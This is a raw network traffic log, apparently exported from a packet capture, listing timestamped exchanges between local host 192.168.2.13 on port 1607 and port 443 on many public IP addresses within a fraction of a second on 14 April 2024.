Apr 14, 2024 03:59:49.686526060 CEST	1607	443	192.168.2.13	79.134.73.71
Apr 14, 2024 03:59:49.686532021 CEST	443	1607	109.189.233.129	192.168.2.13
Apr 14, 2024 03:59:49.686534882 CEST	1607	443	192.168.2.13	37.173.163.192
Apr 14, 2024 03:59:49.686536074 CEST	443	1607	79.134.73.71	192.168.2.13
Apr 14, 2024 03:59:49.686546087 CEST	1607	443	192.168.2.13	123.178.211.32
Apr 14, 2024 03:59:49.686547041 CEST	443	1607	117.78.218.82	192.168.2.13
Apr 14, 2024 03:59:49.686547995 CEST	1607	443	192.168.2.13	109.167.206.211
Apr 14, 2024 03:59:49.686547995 CEST	1607	443	192.168.2.13	42.175.88.0
Apr 14, 2024 03:59:49.686553955 CEST	1607	443	192.168.2.13	123.30.153.7
Apr 14, 2024 03:59:49.686557055 CEST	443	1607	109.167.206.211	192.168.2.13
Apr 14, 2024 03:59:49.686570883 CEST	1607	443	192.168.2.13	178.0.34.24
Apr 14, 2024 03:59:49.686580896 CEST	1607	443	192.168.2.13	79.134.73.71
Apr 14, 2024 03:59:49.686582088 CEST	1607	443	192.168.2.13	178.104.147.95
Apr 14, 2024 03:59:49.686584949 CEST	1607	443	192.168.2.13	109.189.233.129
Apr 14, 2024 03:59:49.686592102 CEST	443	1607	178.0.34.24	192.168.2.13
Apr 14, 2024 03:59:49.686610937 CEST	1607	443	192.168.2.13	109.167.206.211
Apr 14, 2024 03:59:49.686610937 CEST	1607	443	192.168.2.13	109.172.137.11
Apr 14, 2024 03:59:49.686610937 CEST	1607	443	192.168.2.13	148.69.63.194
Apr 14, 2024 03:59:49.686614037 CEST	1607	443	192.168.2.13	148.245.31.147
Apr 14, 2024 03:59:49.686614037 CEST	1607	443	192.168.2.13	117.78.218.82
Apr 14, 2024 03:59:49.686620951 CEST	443	1607	148.245.31.147	192.168.2.13
Apr 14, 2024 03:59:49.686621904 CEST	443	1607	109.172.137.11	192.168.2.13
Apr 14, 2024 03:59:49.686631918 CEST	443	1607	148.69.63.194	192.168.2.13
Apr 14, 2024 03:59:49.686634064 CEST	1607	443	192.168.2.13	178.0.34.24
Apr 14, 2024 03:59:49.686647892 CEST	1607	443	192.168.2.13	94.170.51.207
Apr 14, 2024 03:59:49.686655998 CEST	443	1607	94.170.51.207	192.168.2.13
Apr 14, 2024 03:59:49.686659098 CEST	1607	443	192.168.2.13	109.172.137.11
Apr 14, 2024 03:59:49.686666965 CEST	1607	443	192.168.2.13	148.245.31.147
Apr 14, 2024 03:59:49.686680079 CEST	1607	443	192.168.2.13	148.69.63.194
Apr 14, 2024 03:59:49.686688900 CEST	1607	443	192.168.2.13	94.170.51.207
Apr 14, 2024 03:59:49.686691999 CEST	1607	443	192.168.2.13	212.104.144.65
Apr 14, 2024 03:59:49.686695099 CEST	1607	443	192.168.2.13	202.36.201.222
Apr 14, 2024 03:59:49.686700106 CEST	443	1607	212.104.144.65	192.168.2.13
Apr 14, 2024 03:59:49.686702013 CEST	1607	443	192.168.2.13	210.157.201.49
Apr 14, 2024 03:59:49.686717987 CEST	443	1607	202.36.201.222	192.168.2.13
Apr 14, 2024 03:59:49.686722040 CEST	1607	443	192.168.2.13	212.43.106.150
Apr 14, 2024 03:59:49.686726093 CEST	1607	443	192.168.2.13	42.95.35.243
Apr 14, 2024 03:59:49.686728954 CEST	443	1607	212.43.106.150	192.168.2.13
Apr 14, 2024 03:59:49.686733961 CEST	443	1607	42.95.35.243	192.168.2.13
Apr 14, 2024 03:59:49.686733007 CEST	1607	443	192.168.2.13	202.234.122.205
Apr 14, 2024 03:59:49.686737061 CEST	443	1607	210.157.201.49	192.168.2.13
Apr 14, 2024 03:59:49.686741114 CEST	1607	443	192.168.2.13	212.104.144.65
Apr 14, 2024 03:59:49.686741114 CEST	1607	443	192.168.2.13	123.38.40.164
Apr 14, 2024 03:59:49.686752081 CEST	443	1607	202.234.122.205	192.168.2.13
Apr 14, 2024 03:59:49.686753988 CEST	443	1607	123.38.40.164	192.168.2.13
Apr 14, 2024 03:59:49.686764956 CEST	1607	443	192.168.2.13	123.67.40.86
Apr 14, 2024 03:59:49.686765909 CEST	1607	443	192.168.2.13	212.43.106.150
Apr 14, 2024 03:59:49.686764956 CEST	1607	443	192.168.2.13	118.30.234.218
Apr 14, 2024 03:59:49.686764956 CEST	1607	443	192.168.2.13	202.36.201.222
Apr 14, 2024 03:59:49.686772108 CEST	1607	443	192.168.2.13	79.131.246.227
Apr 14, 2024 03:59:49.686774969 CEST	1607	443	192.168.2.13	42.95.35.243
Apr 14, 2024 03:59:49.686774969 CEST	1607	443	192.168.2.13	210.157.201.49
Apr 14, 2024 03:59:49.686784029 CEST	1607	443	192.168.2.13	123.38.40.164
Apr 14, 2024 03:59:49.686789036 CEST	443	1607	123.67.40.86	192.168.2.13
Apr 14, 2024 03:59:49.686791897 CEST	443	1607	79.131.246.227	192.168.2.13
Apr 14, 2024 03:59:49.686794996 CEST	1607	443	192.168.2.13	202.234.122.205
Apr 14, 2024 03:59:49.686811924 CEST	443	1607	118.30.234.218	192.168.2.13
Apr 14, 2024 03:59:49.686820030 CEST	1607	443	192.168.2.13	37.205.15.251
Apr 14, 2024 03:59:49.686830997 CEST	443	1607	37.205.15.251	192.168.2.13
Apr 14, 2024 03:59:49.686837912 CEST	1607	443	192.168.2.13	123.67.40.86
Apr 14, 2024 03:59:49.686839104 CEST	1607	443	192.168.2.13	79.131.246.227
Apr 14, 2024 03:59:49.686846018 CEST	1607	443	192.168.2.13	178.167.220.208
Apr 14, 2024 03:59:49.686853886 CEST	443	1607	178.167.220.208	192.168.2.13
Apr 14, 2024 03:59:49.686855078 CEST	1607	443	192.168.2.13	118.30.234.218
Apr 14, 2024 03:59:49.686875105 CEST	1607	443	192.168.2.13	148.31.140.68
Apr 14, 2024 03:59:49.686880112 CEST	1607	443	192.168.2.13	94.80.130.213
Apr 14, 2024 03:59:49.686880112 CEST	1607	443	192.168.2.13	37.205.15.251
Apr 14, 2024 03:59:49.686883926 CEST	443	1607	148.31.140.68	192.168.2.13
Apr 14, 2024 03:59:49.686892033 CEST	443	1607	94.80.130.213	192.168.2.13
Apr 14, 2024 03:59:49.686894894 CEST	1607	443	192.168.2.13	202.81.120.220
Apr 14, 2024 03:59:49.686894894 CEST	1607	443	192.168.2.13	210.254.91.153
Apr 14, 2024 03:59:49.686903000 CEST	1607	443	192.168.2.13	178.251.122.74
Apr 14, 2024 03:59:49.686903000 CEST	1607	443	192.168.2.13	178.167.220.208
Apr 14, 2024 03:59:49.686903000 CEST	1607	443	192.168.2.13	37.56.218.47
Apr 14, 2024 03:59:49.686912060 CEST	443	1607	178.251.122.74	192.168.2.13
Apr 14, 2024 03:59:49.686913013 CEST	443	1607	37.56.218.47	192.168.2.13
Apr 14, 2024 03:59:49.686913013 CEST	1607	443	192.168.2.13	94.201.146.90
Apr 14, 2024 03:59:49.686916113 CEST	443	1607	202.81.120.220	192.168.2.13
Apr 14, 2024 03:59:49.686925888 CEST	1607	443	192.168.2.13	148.31.140.68
Apr 14, 2024 03:59:49.686925888 CEST	1607	443	192.168.2.13	148.235.119.57
Apr 14, 2024 03:59:49.686935902 CEST	443	1607	148.235.119.57	192.168.2.13
Apr 14, 2024 03:59:49.686935902 CEST	443	1607	94.201.146.90	192.168.2.13
Apr 14, 2024 03:59:49.686937094 CEST	1607	443	192.168.2.13	94.80.130.213
Apr 14, 2024 03:59:49.686939001 CEST	1607	443	192.168.2.13	212.101.69.7
Apr 14, 2024 03:59:49.686939955 CEST	443	1607	210.254.91.153	192.168.2.13
Apr 14, 2024 03:59:49.686949015 CEST	443	1607	212.101.69.7	192.168.2.13
Apr 14, 2024 03:59:49.686955929 CEST	1607	443	192.168.2.13	37.56.218.47
Apr 14, 2024 03:59:49.686960936 CEST	1607	443	192.168.2.13	5.71.151.142
Apr 14, 2024 03:59:49.686963081 CEST	1607	443	192.168.2.13	202.81.120.220
Apr 14, 2024 03:59:49.686963081 CEST	1607	443	192.168.2.13	178.110.16.125
Apr 14, 2024 03:59:49.686969042 CEST	443	1607	5.71.151.142	192.168.2.13
Apr 14, 2024 03:59:49.686969995 CEST	1607	443	192.168.2.13	178.251.122.74
Apr 14, 2024 03:59:49.686973095 CEST	1607	443	192.168.2.13	148.235.119.57
Apr 14, 2024 03:59:49.686978102 CEST	1607	443	192.168.2.13	94.201.146.90
Apr 14, 2024 03:59:49.686980963 CEST	1607	443	192.168.2.13	212.101.69.7
Apr 14, 2024 03:59:49.686986923 CEST	443	1607	178.110.16.125	192.168.2.13
Apr 14, 2024 03:59:49.686995983 CEST	1607	443	192.168.2.13	5.71.151.142
Apr 14, 2024 03:59:49.687006950 CEST	1607	443	192.168.2.13	109.41.232.199
Apr 14, 2024 03:59:49.687011957 CEST	1607	443	192.168.2.13	210.254.91.153
Apr 14, 2024 03:59:49.687011957 CEST	1607	443	192.168.2.13	210.57.20.72
Apr 14, 2024 03:59:49.687015057 CEST	1607	443	192.168.2.13	212.118.50.198
Apr 14, 2024 03:59:49.687015057 CEST	443	1607	109.41.232.199	192.168.2.13
Apr 14, 2024 03:59:49.687017918 CEST	1607	443	192.168.2.13	2.179.60.26
Apr 14, 2024 03:59:49.687025070 CEST	443	1607	2.179.60.26	192.168.2.13
Apr 14, 2024 03:59:49.687033892 CEST	443	1607	212.118.50.198	192.168.2.13
Apr 14, 2024 03:59:49.687036037 CEST	1607	443	192.168.2.13	123.120.78.85
Apr 14, 2024 03:59:49.687038898 CEST	443	1607	210.57.20.72	192.168.2.13
Apr 14, 2024 03:59:49.687043905 CEST	443	1607	123.120.78.85	192.168.2.13
Apr 14, 2024 03:59:49.687043905 CEST	1607	443	192.168.2.13	123.165.39.13
Apr 14, 2024 03:59:49.687048912 CEST	1607	443	192.168.2.13	178.110.16.125
Apr 14, 2024 03:59:49.687051058 CEST	443	1607	123.165.39.13	192.168.2.13
Apr 14, 2024 03:59:49.687052011 CEST	1607	443	192.168.2.13	109.41.232.199
Apr 14, 2024 03:59:49.687072039 CEST	1607	443	192.168.2.13	2.179.60.26
Apr 14, 2024 03:59:49.687072039 CEST	1607	443	192.168.2.13	123.120.78.85
Apr 14, 2024 03:59:49.687074900 CEST	1607	443	192.168.2.13	212.118.50.198
Apr 14, 2024 03:59:49.687078953 CEST	1607	443	192.168.2.13	210.57.20.72
Apr 14, 2024 03:59:49.687091112 CEST	1607	443	192.168.2.13	123.165.39.13
Apr 14, 2024 03:59:49.687094927 CEST	1607	443	192.168.2.13	117.222.8.145
Apr 14, 2024 03:59:49.687110901 CEST	443	1607	117.222.8.145	192.168.2.13
Apr 14, 2024 03:59:49.687130928 CEST	1607	443	192.168.2.13	123.241.52.24
Apr 14, 2024 03:59:49.687134027 CEST	1607	443	192.168.2.13	178.35.163.141
Apr 14, 2024 03:59:49.687134027 CEST	1607	443	192.168.2.13	109.109.165.96
Apr 14, 2024 03:59:49.687139988 CEST	443	1607	123.241.52.24	192.168.2.13
Apr 14, 2024 03:59:49.687139034 CEST	1607	443	192.168.2.13	5.63.180.130
Apr 14, 2024 03:59:49.687139034 CEST	1607	443	192.168.2.13	123.240.126.68
Apr 14, 2024 03:59:49.687144041 CEST	443	1607	178.35.163.141	192.168.2.13
Apr 14, 2024 03:59:49.687149048 CEST	443	1607	109.109.165.96	192.168.2.13
Apr 14, 2024 03:59:49.687155962 CEST	1607	443	192.168.2.13	117.222.8.145
Apr 14, 2024 03:59:49.687155962 CEST	443	1607	5.63.180.130	192.168.2.13
Apr 14, 2024 03:59:49.687156916 CEST	443	1607	123.240.126.68	192.168.2.13
Apr 14, 2024 03:59:49.687174082 CEST	1607	443	192.168.2.13	123.241.52.24
Apr 14, 2024 03:59:49.687177896 CEST	1607	443	192.168.2.13	42.65.12.45
Apr 14, 2024 03:59:49.687186003 CEST	1607	443	192.168.2.13	123.240.126.68
Apr 14, 2024 03:59:49.687189102 CEST	1607	443	192.168.2.13	178.35.163.141
Apr 14, 2024 03:59:49.687189102 CEST	1607	443	192.168.2.13	109.109.165.96
Apr 14, 2024 03:59:49.687189102 CEST	1607	443	192.168.2.13	5.75.190.181
Apr 14, 2024 03:59:49.687192917 CEST	443	1607	42.65.12.45	192.168.2.13
Apr 14, 2024 03:59:49.687197924 CEST	443	1607	5.75.190.181	192.168.2.13
Apr 14, 2024 03:59:49.687199116 CEST	1607	443	192.168.2.13	5.63.180.130
Apr 14, 2024 03:59:49.687208891 CEST	1607	443	192.168.2.13	210.3.249.63
Apr 14, 2024 03:59:49.687216997 CEST	443	1607	210.3.249.63	192.168.2.13
Apr 14, 2024 03:59:49.687217951 CEST	1607	443	192.168.2.13	117.70.94.240
Apr 14, 2024 03:59:49.687227011 CEST	443	1607	117.70.94.240	192.168.2.13
Apr 14, 2024 03:59:49.687243938 CEST	1607	443	192.168.2.13	42.65.12.45
Apr 14, 2024 03:59:49.687251091 CEST	1607	443	192.168.2.13	117.70.94.240
Apr 14, 2024 03:59:49.687258005 CEST	1607	443	192.168.2.13	210.3.249.63
Apr 14, 2024 03:59:49.687268019 CEST	1607	443	192.168.2.13	37.179.75.64
Apr 14, 2024 03:59:49.687273979 CEST	1607	443	192.168.2.13	79.134.242.57
Apr 14, 2024 03:59:49.687274933 CEST	443	1607	37.179.75.64	192.168.2.13
Apr 14, 2024 03:59:49.687280893 CEST	443	1607	79.134.242.57	192.168.2.13
Apr 14, 2024 03:59:49.687289000 CEST	1607	443	192.168.2.13	178.63.253.36
Apr 14, 2024 03:59:49.687289000 CEST	1607	443	192.168.2.13	2.4.12.81
Apr 14, 2024 03:59:49.687295914 CEST	1607	443	192.168.2.13	5.75.190.181
Apr 14, 2024 03:59:49.687306881 CEST	1607	443	192.168.2.13	79.184.240.221
Apr 14, 2024 03:59:49.687313080 CEST	1607	443	192.168.2.13	79.134.242.57
Apr 14, 2024 03:59:49.687314034 CEST	443	1607	79.184.240.221	192.168.2.13
Apr 14, 2024 03:59:49.687315941 CEST	443	1607	178.63.253.36	192.168.2.13
Apr 14, 2024 03:59:49.687325001 CEST	1607	443	192.168.2.13	37.179.75.64
Apr 14, 2024 03:59:49.687331915 CEST	1607	443	192.168.2.13	202.247.191.94
Apr 14, 2024 03:59:49.687340021 CEST	443	1607	202.247.191.94	192.168.2.13
Apr 14, 2024 03:59:49.687339067 CEST	443	1607	2.4.12.81	192.168.2.13
Apr 14, 2024 03:59:49.687342882 CEST	1607	443	192.168.2.13	178.174.22.131
Apr 14, 2024 03:59:49.687350988 CEST	443	1607	178.174.22.131	192.168.2.13
Apr 14, 2024 03:59:49.687351942 CEST	1607	443	192.168.2.13	79.184.240.221
Apr 14, 2024 03:59:49.687361956 CEST	1607	443	192.168.2.13	2.33.25.151
Apr 14, 2024 03:59:49.687361956 CEST	1607	443	192.168.2.13	178.63.253.36
Apr 14, 2024 03:59:49.687364101 CEST	1607	443	192.168.2.13	123.169.181.24
Apr 14, 2024 03:59:49.687370062 CEST	1607	443	192.168.2.13	212.170.63.182
Apr 14, 2024 03:59:49.687370062 CEST	1607	443	192.168.2.13	210.124.21.164
Apr 14, 2024 03:59:49.687371016 CEST	443	1607	123.169.181.24	192.168.2.13
Apr 14, 2024 03:59:49.687372923 CEST	1607	443	192.168.2.13	117.213.66.174
Apr 14, 2024 03:59:49.687372923 CEST	1607	443	192.168.2.13	178.174.22.131
Apr 14, 2024 03:59:49.687381029 CEST	443	1607	212.170.63.182	192.168.2.13
Apr 14, 2024 03:59:49.687382936 CEST	443	1607	117.213.66.174	192.168.2.13
Apr 14, 2024 03:59:49.687385082 CEST	1607	443	192.168.2.13	2.86.254.12
Apr 14, 2024 03:59:49.687385082 CEST	443	1607	2.33.25.151	192.168.2.13
Apr 14, 2024 03:59:49.687388897 CEST	1607	443	192.168.2.13	202.247.191.94
Apr 14, 2024 03:59:49.687392950 CEST	443	1607	2.86.254.12	192.168.2.13
Apr 14, 2024 03:59:49.687392950 CEST	1607	443	192.168.2.13	123.176.117.232
Apr 14, 2024 03:59:49.687401056 CEST	443	1607	210.124.21.164	192.168.2.13
Apr 14, 2024 03:59:49.687412024 CEST	443	1607	123.176.117.232	192.168.2.13
Apr 14, 2024 03:59:49.687417030 CEST	1607	443	192.168.2.13	2.4.12.81
Apr 14, 2024 03:59:49.687427998 CEST	1607	443	192.168.2.13	117.213.66.174
Apr 14, 2024 03:59:49.687428951 CEST	1607	443	192.168.2.13	212.170.63.182
Apr 14, 2024 03:59:49.687437057 CEST	1607	443	192.168.2.13	123.169.181.24
Apr 14, 2024 03:59:49.687437057 CEST	1607	443	192.168.2.13	2.86.254.12
Apr 14, 2024 03:59:49.687453985 CEST	1607	443	192.168.2.13	123.176.117.232
Apr 14, 2024 03:59:49.687455893 CEST	1607	443	192.168.2.13	2.33.25.151
Apr 14, 2024 03:59:49.687462091 CEST	1607	443	192.168.2.13	210.124.21.164
Apr 14, 2024 03:59:49.687478065 CEST	1607	443	192.168.2.13	210.255.8.217
Apr 14, 2024 03:59:49.687479019 CEST	1607	443	192.168.2.13	212.210.57.246
Apr 14, 2024 03:59:49.687483072 CEST	1607	443	192.168.2.13	117.143.161.4
Apr 14, 2024 03:59:49.687485933 CEST	443	1607	210.255.8.217	192.168.2.13
Apr 14, 2024 03:59:49.687485933 CEST	443	1607	212.210.57.246	192.168.2.13
Apr 14, 2024 03:59:49.687486887 CEST	1607	443	192.168.2.13	123.88.74.251
Apr 14, 2024 03:59:49.687489986 CEST	443	1607	117.143.161.4	192.168.2.13
Apr 14, 2024 03:59:49.687489986 CEST	1607	443	192.168.2.13	79.217.10.113
Apr 14, 2024 03:59:49.687494993 CEST	443	1607	123.88.74.251	192.168.2.13
Apr 14, 2024 03:59:49.687513113 CEST	443	1607	79.217.10.113	192.168.2.13
Apr 14, 2024 03:59:49.687514067 CEST	1607	443	192.168.2.13	118.44.154.12
Apr 14, 2024 03:59:49.687520981 CEST	443	1607	118.44.154.12	192.168.2.13
Apr 14, 2024 03:59:49.687526941 CEST	1607	443	192.168.2.13	210.255.8.217
Apr 14, 2024 03:59:49.687535048 CEST	1607	443	192.168.2.13	117.143.161.4
Apr 14, 2024 03:59:49.687541008 CEST	1607	443	192.168.2.13	123.88.74.251
Apr 14, 2024 03:59:49.687542915 CEST	1607	443	192.168.2.13	212.210.57.246
Apr 14, 2024 03:59:49.687552929 CEST	1607	443	192.168.2.13	79.217.10.113
Apr 14, 2024 03:59:49.687560081 CEST	1607	443	192.168.2.13	118.44.154.12
Apr 14, 2024 03:59:49.687582016 CEST	1607	443	192.168.2.13	37.25.142.128
Apr 14, 2024 03:59:49.687587023 CEST	1607	443	192.168.2.13	118.183.17.133
Apr 14, 2024 03:59:49.687588930 CEST	1607	443	192.168.2.13	109.176.126.26
Apr 14, 2024 03:59:49.687596083 CEST	443	1607	118.183.17.133	192.168.2.13
Apr 14, 2024 03:59:49.687597036 CEST	443	1607	109.176.126.26	192.168.2.13
Apr 14, 2024 03:59:49.687598944 CEST	443	1607	37.25.142.128	192.168.2.13
Apr 14, 2024 03:59:49.687613964 CEST	1607	443	192.168.2.13	202.198.211.209
Apr 14, 2024 03:59:49.687622070 CEST	443	1607	202.198.211.209	192.168.2.13
Apr 14, 2024 03:59:49.687633038 CEST	1607	443	192.168.2.13	5.31.117.185
Apr 14, 2024 03:59:49.687647104 CEST	443	1607	5.31.117.185	192.168.2.13
Apr 14, 2024 03:59:49.687666893 CEST	1607	443	192.168.2.13	109.176.126.26
Apr 14, 2024 03:59:49.687666893 CEST	1607	443	192.168.2.13	109.255.239.237
Apr 14, 2024 03:59:49.687670946 CEST	1607	443	192.168.2.13	37.25.142.128
Apr 14, 2024 03:59:49.687670946 CEST	1607	443	192.168.2.13	178.65.184.174
Apr 14, 2024 03:59:49.687670946 CEST	1607	443	192.168.2.13	79.151.226.217
Apr 14, 2024 03:59:49.687678099 CEST	443	1607	109.255.239.237	192.168.2.13
Apr 14, 2024 03:59:49.687681913 CEST	1607	443	192.168.2.13	118.183.17.133
Apr 14, 2024 03:59:49.687681913 CEST	1607	443	192.168.2.13	202.198.211.209
Apr 14, 2024 03:59:49.687681913 CEST	1607	443	192.168.2.13	37.96.167.34
Apr 14, 2024 03:59:49.687707901 CEST	443	1607	37.96.167.34	192.168.2.13
Apr 14, 2024 03:59:49.687709093 CEST	443	1607	178.65.184.174	192.168.2.13
Apr 14, 2024 03:59:49.687720060 CEST	443	1607	79.151.226.217	192.168.2.13
Apr 14, 2024 03:59:49.687737942 CEST	1607	443	192.168.2.13	5.31.117.185
Apr 14, 2024 03:59:49.687740088 CEST	1607	443	192.168.2.13	109.255.239.237
Apr 14, 2024 03:59:49.687740088 CEST	1607	443	192.168.2.13	94.43.64.35
Apr 14, 2024 03:59:49.687743902 CEST	1607	443	192.168.2.13	212.121.79.140
Apr 14, 2024 03:59:49.687743902 CEST	1607	443	192.168.2.13	37.96.167.34
Apr 14, 2024 03:59:49.687753916 CEST	443	1607	94.43.64.35	192.168.2.13
Apr 14, 2024 03:59:49.687755108 CEST	443	1607	212.121.79.140	192.168.2.13
Apr 14, 2024 03:59:49.687757015 CEST	1607	443	192.168.2.13	202.23.9.99
Apr 14, 2024 03:59:49.687761068 CEST	1607	443	192.168.2.13	178.65.184.174
Apr 14, 2024 03:59:49.687761068 CEST	1607	443	192.168.2.13	79.151.226.217
Apr 14, 2024 03:59:49.687764883 CEST	1607	443	192.168.2.13	210.122.244.13
Apr 14, 2024 03:59:49.687772036 CEST	443	1607	210.122.244.13	192.168.2.13
Apr 14, 2024 03:59:49.687772989 CEST	443	1607	202.23.9.99	192.168.2.13
Apr 14, 2024 03:59:49.687773943 CEST	1607	443	192.168.2.13	117.246.62.195
Apr 14, 2024 03:59:49.687783003 CEST	1607	443	192.168.2.13	109.138.200.251
Apr 14, 2024 03:59:49.687783957 CEST	443	1607	117.246.62.195	192.168.2.13
Apr 14, 2024 03:59:49.687787056 CEST	1607	443	192.168.2.13	94.43.64.35
Apr 14, 2024 03:59:49.687791109 CEST	443	1607	109.138.200.251	192.168.2.13
Apr 14, 2024 03:59:49.687808990 CEST	1607	443	192.168.2.13	109.189.217.184
Apr 14, 2024 03:59:49.687808990 CEST	1607	443	192.168.2.13	212.121.79.140
Apr 14, 2024 03:59:49.687817097 CEST	1607	443	192.168.2.13	117.246.62.195
Apr 14, 2024 03:59:49.687818050 CEST	1607	443	192.168.2.13	202.23.9.99
Apr 14, 2024 03:59:49.687819004 CEST	443	1607	109.189.217.184	192.168.2.13
Apr 14, 2024 03:59:49.687832117 CEST	1607	443	192.168.2.13	109.138.200.251
Apr 14, 2024 03:59:49.687850952 CEST	1607	443	192.168.2.13	210.122.244.13
Apr 14, 2024 03:59:49.687868118 CEST	1607	443	192.168.2.13	109.189.217.184
Apr 14, 2024 03:59:49.687877893 CEST	1607	443	192.168.2.13	212.17.21.83
Apr 14, 2024 03:59:49.687887907 CEST	1607	443	192.168.2.13	37.32.192.157
Apr 14, 2024 03:59:49.687890053 CEST	1607	443	192.168.2.13	2.141.99.181
Apr 14, 2024 03:59:49.687892914 CEST	1607	443	192.168.2.13	79.184.187.56
Apr 14, 2024 03:59:49.687895060 CEST	443	1607	212.17.21.83	192.168.2.13
Apr 14, 2024 03:59:49.687895060 CEST	443	1607	37.32.192.157	192.168.2.13
Apr 14, 2024 03:59:49.687902927 CEST	443	1607	2.141.99.181	192.168.2.13
Apr 14, 2024 03:59:49.687907934 CEST	1607	443	192.168.2.13	42.2.99.52
Apr 14, 2024 03:59:49.687916040 CEST	443	1607	79.184.187.56	192.168.2.13
Apr 14, 2024 03:59:49.687916994 CEST	1607	443	192.168.2.13	123.23.52.95
Apr 14, 2024 03:59:49.687916994 CEST	1607	443	192.168.2.13	2.178.60.91
Apr 14, 2024 03:59:49.687917948 CEST	443	1607	42.2.99.52	192.168.2.13
Apr 14, 2024 03:59:49.687916994 CEST	1607	443	192.168.2.13	2.183.173.154
Apr 14, 2024 03:59:49.687922955 CEST	1607	443	192.168.2.13	117.249.255.48
Apr 14, 2024 03:59:49.687931061 CEST	443	1607	117.249.255.48	192.168.2.13
Apr 14, 2024 03:59:49.687932014 CEST	443	1607	123.23.52.95	192.168.2.13
Apr 14, 2024 03:59:49.687932014 CEST	1607	443	192.168.2.13	37.32.192.157
Apr 14, 2024 03:59:49.687937975 CEST	1607	443	192.168.2.13	94.42.190.169
Apr 14, 2024 03:59:49.687944889 CEST	443	1607	2.178.60.91	192.168.2.13
Apr 14, 2024 03:59:49.687948942 CEST	1607	443	192.168.2.13	212.17.21.83
Apr 14, 2024 03:59:49.687952995 CEST	443	1607	94.42.190.169	192.168.2.13
Apr 14, 2024 03:59:49.687953949 CEST	1607	443	192.168.2.13	2.141.99.181
Apr 14, 2024 03:59:49.687961102 CEST	443	1607	2.183.173.154	192.168.2.13
Apr 14, 2024 03:59:49.687962055 CEST	1607	443	192.168.2.13	123.23.52.95
Apr 14, 2024 03:59:49.687973976 CEST	1607	443	192.168.2.13	79.184.187.56
Apr 14, 2024 03:59:49.687978029 CEST	1607	443	192.168.2.13	42.2.99.52
Apr 14, 2024 03:59:49.687979937 CEST	1607	443	192.168.2.13	117.249.255.48
Apr 14, 2024 03:59:49.687989950 CEST	1607	443	192.168.2.13	2.178.60.91
Apr 14, 2024 03:59:49.687990904 CEST	1607	443	192.168.2.13	2.183.173.154
Apr 14, 2024 03:59:49.687999010 CEST	1607	443	192.168.2.13	94.42.190.169
Apr 14, 2024 03:59:49.688019991 CEST	1607	443	192.168.2.13	5.1.218.89
Apr 14, 2024 03:59:49.688024998 CEST	1607	443	192.168.2.13	178.149.9.93
Apr 14, 2024 03:59:49.688026905 CEST	443	1607	5.1.218.89	192.168.2.13
Apr 14, 2024 03:59:49.688029051 CEST	1607	443	192.168.2.13	5.195.167.107
Apr 14, 2024 03:59:49.688036919 CEST	1607	443	192.168.2.13	37.66.152.172
Apr 14, 2024 03:59:49.688036919 CEST	443	1607	5.195.167.107	192.168.2.13
Apr 14, 2024 03:59:49.688041925 CEST	1607	443	192.168.2.13	202.94.174.249
Apr 14, 2024 03:59:49.688041925 CEST	443	1607	178.149.9.93	192.168.2.13
Apr 14, 2024 03:59:49.688045025 CEST	443	1607	37.66.152.172	192.168.2.13
Apr 14, 2024 03:59:49.688051939 CEST	443	1607	202.94.174.249	192.168.2.13
Apr 14, 2024 03:59:49.688064098 CEST	1607	443	192.168.2.13	118.118.215.84
Apr 14, 2024 03:59:49.688072920 CEST	1607	443	192.168.2.13	117.204.177.104
Apr 14, 2024 03:59:49.688072920 CEST	443	1607	118.118.215.84	192.168.2.13
Apr 14, 2024 03:59:49.688081980 CEST	1607	443	192.168.2.13	37.66.152.172
Apr 14, 2024 03:59:49.688082933 CEST	1607	443	192.168.2.13	117.156.39.21
Apr 14, 2024 03:59:49.688083887 CEST	1607	443	192.168.2.13	5.1.218.89
Apr 14, 2024 03:59:49.688082933 CEST	443	1607	117.204.177.104	192.168.2.13
Apr 14, 2024 03:59:49.688083887 CEST	1607	443	192.168.2.13	202.94.174.249
Apr 14, 2024 03:59:49.688091040 CEST	443	1607	117.156.39.21	192.168.2.13
Apr 14, 2024 03:59:49.688098907 CEST	1607	443	192.168.2.13	5.195.167.107
Apr 14, 2024 03:59:49.688114882 CEST	1607	443	192.168.2.13	2.253.230.167
Apr 14, 2024 03:59:49.688114882 CEST	1607	443	192.168.2.13	202.14.138.194
Apr 14, 2024 03:59:49.688116074 CEST	1607	443	192.168.2.13	2.7.176.13
Apr 14, 2024 03:59:49.688114882 CEST	1607	443	192.168.2.13	118.118.215.84
Apr 14, 2024 03:59:49.688116074 CEST	1607	443	192.168.2.13	178.149.9.93
Apr 14, 2024 03:59:49.688123941 CEST	1607	443	192.168.2.13	117.204.177.104
Apr 14, 2024 03:59:49.688127041 CEST	443	1607	2.253.230.167	192.168.2.13
Apr 14, 2024 03:59:49.688134909 CEST	443	1607	2.7.176.13	192.168.2.13
Apr 14, 2024 03:59:49.688138962 CEST	443	1607	202.14.138.194	192.168.2.13
Apr 14, 2024 03:59:49.688150883 CEST	1607	443	192.168.2.13	79.6.173.150
Apr 14, 2024 03:59:49.688150883 CEST	1607	443	192.168.2.13	117.156.39.21
Apr 14, 2024 03:59:49.688153028 CEST	1607	443	192.168.2.13	117.6.222.109
Apr 14, 2024 03:59:49.688150883 CEST	1607	443	192.168.2.13	118.23.62.36
Apr 14, 2024 03:59:49.688163996 CEST	443	1607	117.6.222.109	192.168.2.13
Apr 14, 2024 03:59:49.688163996 CEST	443	1607	79.6.173.150	192.168.2.13
Apr 14, 2024 03:59:49.688174009 CEST	443	1607	118.23.62.36	192.168.2.13
Apr 14, 2024 03:59:49.688179970 CEST	1607	443	192.168.2.13	2.253.230.167
Apr 14, 2024 03:59:49.688179970 CEST	1607	443	192.168.2.13	202.14.138.194
Apr 14, 2024 03:59:49.688183069 CEST	1607	443	192.168.2.13	5.162.117.160
Apr 14, 2024 03:59:49.688185930 CEST	1607	443	192.168.2.13	2.7.176.13
Apr 14, 2024 03:59:49.688190937 CEST	443	1607	5.162.117.160	192.168.2.13
Apr 14, 2024 03:59:49.688194036 CEST	1607	443	192.168.2.13	117.6.222.109
Apr 14, 2024 03:59:49.688194036 CEST	1607	443	192.168.2.13	5.135.63.65
Apr 14, 2024 03:59:49.688201904 CEST	443	1607	5.135.63.65	192.168.2.13
Apr 14, 2024 03:59:49.688201904 CEST	1607	443	192.168.2.13	37.24.17.62
Apr 14, 2024 03:59:49.688213110 CEST	443	1607	37.24.17.62	192.168.2.13
Apr 14, 2024 03:59:49.688213110 CEST	1607	443	192.168.2.13	118.23.62.36
Apr 14, 2024 03:59:49.688213110 CEST	1607	443	192.168.2.13	79.6.173.150
